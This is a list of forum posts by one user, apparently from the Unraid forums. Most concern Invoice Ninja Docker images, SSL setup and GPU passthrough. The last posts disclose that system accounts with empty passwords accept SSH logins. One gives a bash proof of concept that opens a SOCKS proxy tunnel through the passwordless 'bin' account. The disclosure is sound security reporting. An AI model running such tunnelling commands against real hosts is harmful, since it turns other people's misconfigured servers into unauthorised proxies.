Mihai

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  1. @razor950 thanks for pointing that out, I wasn't aware of it! I just updated it.
  2. @Benjamin Picard yes, it's beta-ish. I will create another post for it, but did not have time. @newillusions helped me test it so far, and only the export doesn't work from v5, but there is a fix for that which I didn't have time yet to include into the Docker image yet. I will later tonight. For now it's not official in UnRAID, so to install it you have to add this url in Docker -> (Scroll down) -> Template Repositories and click Save: https://github.com/mihai-cindea/invoiceninja_v5 After that you should be able to click "ADD CONTAINER" and then select "invoiceninj
  3. @newillusions I'm running v4.5.37. Unfortunately anojht/invoiceninja repository only has 4.x version so for v5 I think we'd have to create a whole different Docker image since anojht doesn't have issues enabled for the repository unfortunately After a quick Google search I realized that upgrading involves creating a whole new install, and using the migration tool. I'd be willing to create a different repo for this, would you have time to help me test? @IronBeardKnight sorry for being late to the party, but in case it's still relevant: what error did you get when trying to dis
  4. hey guys, so just an update on this one: I raised a PR for the original anojht/invoiceninja image, so now it should work on the SSL port, it generates SSL certificates automatically. Feel free to let me know if there are any issues @coolbeams if you want, you can switch back to the original image, should also work. Cheers!
  5. For anyone who has the same issue in the future: I managed to fix the issue by switching to SeaBIOS from OVMF. I had to recreate the VM.
  6. Hey guys, I was able to successfully pass GPU cards to a Linux VM, however it seems that the card which are the same model. I tried passing the 3090 card and it works fine. root@Rick:~# lspci 00:00.0 Host bridge: Advanced Micro Devices, Inc. [AMD/ATI] RD9x0/RX980 Host Bridge (rev 02) 00:00.2 IOMMU: Advanced Micro Devices, Inc. [AMD/ATI] RD890S/RD990 I/O Memory Management Unit (IOMMU) 00:02.0 PCI bridge: Advanced Micro Devices, Inc. [AMD/ATI] RD890/RD9x0/RX980 PCI to PCI bridge (PCI Express GFX port 0) 00:04.0 PCI bridge: Advanced Micro Devices, Inc. [AMD/ATI] RD890/RD9x
  7. Sounds like a Laravel issue. Can you DM me the container logs? There's a button on the Log column (right) in the "Docker" view in Unraid.
  8. @cyberspectrecan you tell me exactly what behavior you get? or any errors? Otherwise it will be hard for me to fix it. Note: you will have to connect via https and port 8443 port for this to work.
  9. I'm kind of late to the party, but to me it seems the main issue is the lack of ssl certificate on port 443 and it seems lately invoiceninja enforces https. I got it working by generating a self signed certificate. I didn't have time to create another Unraid app, but until then if anyone wants to try it out: Hit Edit on the container and change Repository field to this: maihai/invoiceninja and then hit Apply. EDIT: The way this works is that it generates a SSL certificate on the first container run which is self signed. Of course don't forget to import this certificate in y
  10. I didn't know about it, not sure how availabie it is in Unraid. I'll check it out, thanks for the info!
  11. I know there are other threads out there for this, but I really think docker-compose yml support would be really nice. The Docker UI thing is nice and all, but I think creating an XML file for everything I want to add can add overhead. Example: I want to use this inside Unraid, but it would be nice if it would also have UI support. https://github.com/hardware/mailserver The way I'm thinking about it an addon to the current Docker app, where it can import/edit docker-compose files.
  12. I would use these sshd configurations + setting the users disabled. I don't think having users with empty passwords is a good idea. Thanks for the fast reply!
  13. Btw, here's a PoC in bash (anonymized the IPs a bit, hope you don't mind ) ``` [root@taicasimaica ~]# curl -ks4 showip.net 124.122.71.51 [root@taicasimaica ~]# ssh -D 3129 -f -C -q -N bin@x.ninja -p 7127 The authenticity of host '[x.ninja]:7127 ([91.82.91.172]:7127)' can't be established. ECDSA key fingerprint is SHA256:/Kg3rfHXB/0XIa2nW5UHOLAiipUztnhNDvxAyz91CP8. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes [root@taicasimaica ~]# export http_proxy=socks5://127.0.0.1:3129 [root@taicasimaica ~]# curl -ks4 showip.net 91.82.91.172 [root@tai
  14. If you had an SSH port opened to the internet my post I made a few minutes ago will explain this. You can try it yourself: Note: The tunnel opened will be socks5, so you'll have to configure your browser as such to actually test it.
  15. Hello guys, I couldn't find any proper channels for announcing vulnerabilities, so i think this might be the best way to catch your attention. Apologies if there are proper channels, I did not have enough time to search for them. Upon looking at some logs I noticed: ```sshd[28121]: Accepted none for lp from 194.61.26.34 port 26028 ssh2``` Then after i took a close look at /etc/shadow I noticed almost all users don't have passwords. While they can't actually execute commands on the system, they can see information about the system: ``` $ s